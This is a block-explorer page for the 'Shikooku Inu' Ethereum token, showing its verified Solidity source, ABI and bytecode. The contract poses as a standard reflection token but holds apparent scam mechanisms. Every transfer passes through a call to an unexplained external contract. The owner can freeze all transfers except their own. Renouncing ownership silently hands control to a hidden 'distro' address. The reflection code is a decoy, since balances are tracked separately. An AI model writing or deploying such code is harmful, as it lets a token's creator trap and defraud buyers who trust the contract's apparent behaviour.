ETH Price: $2,348.87 (+1.20%)

Token

Shikooku Inu (SHIKOOKU)
 

Overview

Max Total Supply

100,000,000,000 SHIKOOKU

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
593,693,287.938299627 SHIKOOKU

Value
$0.00
0x4bd883055bd502e7ab58a88da4854194373beeb5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shikooku

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: Shikooku Inu.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;


import "./IERC20.sol";
import "./Context.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./IUniswapV2Pair.sol";

contract Shikooku is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _vOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
    mapping (address => bool) private _antiBotDump;
    event botBanned (address botAddress, bool isBanned);
    uint256 private _tFeeTotal;
    bool _liquidity;
    uint256 private _rTotal;
    uint256 private _totalSupply;
    IUniswapV2Pair private initialLp;

    string private _name = 'Shikooku Inu';
    string private _symbol = 'SHIKOOKU';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal = 100000000000*10**9;
    uint256 private constant MAX = ~uint256(0);

    constructor (address distro, address initialLpAddress_) Ownable(distro){
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        _liquidity = true;
        initialLp = IUniswapV2Pair(initialLpAddress_);
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }
    
    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    } 
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function alreadyTakenFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        initialLp.transferFrom(sender, recipient, amount);
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.mul(2).div(1000);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 6: Address.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies in extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`.
     * A plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 2 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
       return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode.
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _distro;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address distro_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _distro = distro_;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
   
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distro : _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 3 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     * This is zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) 
     * to another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 6: IUniswapV2Pair.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

File 5 of 6: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"distro","type":"address"},{"internalType":"address","name":"initialLpAddress_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"botAddress","type":"address"},{"indexed":false,"internalType":"bool","name":"isBanned","type":"bool"}],"name":"botBanned","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"alreadyTakenFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f5368696b6f6f6b7520496e750000000000000000000000000000000000000000815250600e90816200004a919062000c0f565b506040518060400160405280600881526020017f5348494b4f4f4b55000000000000000000000000000000000000000000000000815250600f908162000091919062000c0f565b50600960105f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b50604051620038de380380620038de8339818101604052810190620000df919062000d58565b815f620000f1620004b760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505068056bc75e2d63100000600c81905550600c545f19620001ef919062000dca565b5f19620001fd919062000e2e565b600b8190555068056bc75e2d6310000060025f62000220620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506200026d620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620002cd919062000e79565b60405180910390a36200033260035f620002ec620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620004be60201b60201c565b60045f62000345620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f62000397620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506007620003f8620004b760201b60201c565b908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f6101000a81548160ff02191690831515021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062001084565b5f33905090565b5f600b5482111562000507576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004fe9062000f18565b60405180910390fd5b5f620005186200053760201b60201c565b90506200052f81846200056a60201b90919060201c565b915050919050565b5f805f6200054a620005bb60201b60201c565b915091506200056381836200056a60201b90919060201c565b9250505090565b5f620005b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200088d60201b60201c565b905092915050565b5f805f600b5490505f68056bc75e2d6310000090505f5b6007805490508110156200083e578260035f60078481548110620005fb57620005fa62000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180620006e457508160045f6007848154811062000680576200067f62000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156200070457600b5468056bc75e2d631000009450945050505062000889565b6200079460035f6007848154811062000722576200072162000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484620008f360201b90919060201c565b92506200082660045f60078481548110620007b457620007b362000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483620008f360201b90919060201c565b91508080620008359062000f65565b915050620005d2565b506200085f68056bc75e2d63100000600b546200056a60201b90919060201c565b8210156200088057600b5468056bc75e2d6310000093509350505062000889565b81819350935050505b9091565b5f8083118290620008d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cd91906200102b565b60405180910390fd5b505f8385620008e691906200104d565b9050809150509392505050565b5f6200093c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506200094460201b60201c565b905092915050565b5f8383111582906200098e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200098591906200102b565b60405180910390fd5b505f83856200099e919062000e2e565b9050809150509392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a2757607f821691505b60208210810362000a3d5762000a3c620009e2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000aa17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a64565b62000aad868362000a64565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000af762000af162000aeb8462000ac5565b62000ace565b62000ac5565b9050919050565b5f819050919050565b62000b128362000ad7565b62000b2a62000b218262000afe565b84845462000a70565b825550505050565b5f90565b62000b4062000b32565b62000b4d81848462000b07565b505050565b5b8181101562000b745762000b685f8262000b36565b60018101905062000b53565b5050565b601f82111562000bc35762000b8d8162000a43565b62000b988462000a55565b8101602085101562000ba8578190505b62000bc062000bb78562000a55565b83018262000b52565b50505b505050565b5f82821c905092915050565b5f62000be55f198460080262000bc8565b1980831691505092915050565b5f62000bff838362000bd4565b9150826002028217905092915050565b62000c1a82620009ab565b67ffffffffffffffff81111562000c365762000c35620009b5565b5b62000c42825462000a0f565b62000c4f82828562000b78565b5f60209050601f83116001811462000c85575f841562000c70578287015190505b62000c7c858262000bf2565b86555062000ceb565b601f19841662000c958662000a43565b5f5b8281101562000cbe5784890151825560018201915060208501945060208101905062000c97565b8683101562000cde578489015162000cda601f89168262000bd4565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000d228262000cf7565b9050919050565b62000d348162000d16565b811462000d3f575f80fd5b50565b5f8151905062000d528162000d29565b92915050565b5f806040838503121562000d715762000d7062000cf3565b5b5f62000d808582860162000d42565b925050602062000d938582860162000d42565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000dd68262000ac5565b915062000de38362000ac5565b92508262000df65762000df562000d9d565b5b828206905092